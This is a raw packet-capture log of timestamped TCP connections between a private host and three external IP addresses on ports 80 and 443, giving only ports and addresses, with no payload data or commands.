Sep 29, 2024 00:53:24.836124897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836138010 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836163044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836172104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836186886 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836205006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836215019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836249113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836462021 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836488962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836570978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836577892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836597919 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836631060 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836637974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836642981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836649895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836656094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836699009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836699009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836745024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836751938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836759090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836764097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836771011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836777925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836783886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836787939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836793900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836798906 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836807966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836816072 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836819887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836831093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836837053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836843967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836846113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836848974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836855888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.836877108 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836877108 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.836914062 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.842776060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842782974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842793941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842855930 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.842904091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842911959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842916965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842922926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842937946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842947960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842953920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842961073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842966080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.842967033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842966080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.842978954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842986107 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.842988968 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843005896 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843024015 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843188047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843194962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843205929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843211889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843225956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843233109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843245029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843257904 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843271971 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843280077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843322992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843342066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843343019 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843349934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843405008 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843482971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843496084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843501091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843507051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843514919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843524933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843530893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843530893 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843538046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843544960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.843545914 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843595028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.843595028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.854928017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.854934931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.854947090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.854988098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.854995012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855005980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855011940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855019093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855066061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855066061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855127096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855134010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855144978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855151892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855156898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855168104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855185986 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855190992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855196953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855214119 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855214119 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855232000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855246067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855252028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855257034 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855263948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855276108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855276108 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855283022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855293036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855309010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855315924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855323076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855323076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855326891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855334044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855340958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855360031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855364084 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855366945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855376005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855410099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855410099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855422974 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855515003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855521917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855532885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855544090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855555058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855567932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855578899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.855585098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855590105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855591059 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855596066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855602026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855604887 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855607986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855613947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855623960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855629921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855631113 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.855634928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855642080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855650902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855652094 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855652094 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855654955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855674028 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855710030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855715036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855720997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855732918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855739117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855743885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855751038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855762005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855767012 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855767012 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855775118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.855784893 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.855832100 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.856336117 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856367111 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856409073 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856431007 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856431007 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856446028 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856475115 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856492996 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856800079 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856843948 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856899977 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856899977 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.856908083 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.856997967 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857110977 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857153893 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857184887 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857189894 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857220888 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857249022 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857311010 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857350111 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857388973 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857393980 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857403994 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857436895 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857544899 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857603073 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857613087 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857630968 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.857667923 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.857678890 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.858181000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858189106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858197927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858205080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858211040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858222961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858231068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858234882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.858242035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858247995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858258963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.858267069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858273983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858273983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.858287096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858294010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858298063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.858299017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.858331919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.866038084 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866081953 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866139889 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.866148949 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866158962 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.866219044 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.866252899 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866297960 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866369009 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.866369009 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.866374969 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.866457939 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.908132076 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.908176899 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.908318043 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.908318043 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.908332109 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.908396006 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.933855057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933871984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933878899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933883905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933890104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933895111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933907032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933912039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933921099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933923960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933933973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933939934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933945894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.933952093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934005976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934010029 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934010029 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934011936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934021950 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934034109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934041023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934051037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934062958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934067965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934078932 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934079885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934084892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934099913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934106112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934107065 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934107065 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934119940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934124947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934132099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934137106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934138060 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934143066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934149027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934179068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934179068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934221029 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934245110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934262037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934267998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934273005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934278011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934283972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934288979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934290886 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934294939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934299946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934305906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934309006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934323072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934329033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934334040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934340000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934345007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934350967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934361935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934366941 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934366941 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934367895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934392929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934425116 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934484005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934494972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.934500933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934509993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934515953 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934526920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934533119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934539080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934545994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934556007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934561014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934566021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934570074 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.934570074 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934570074 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934587955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934592009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934597969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934603930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934607983 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934608936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934614897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934619904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934624910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934631109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934648991 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934705019 CEST	49712	80	192.168.2.9	176.113.115.95
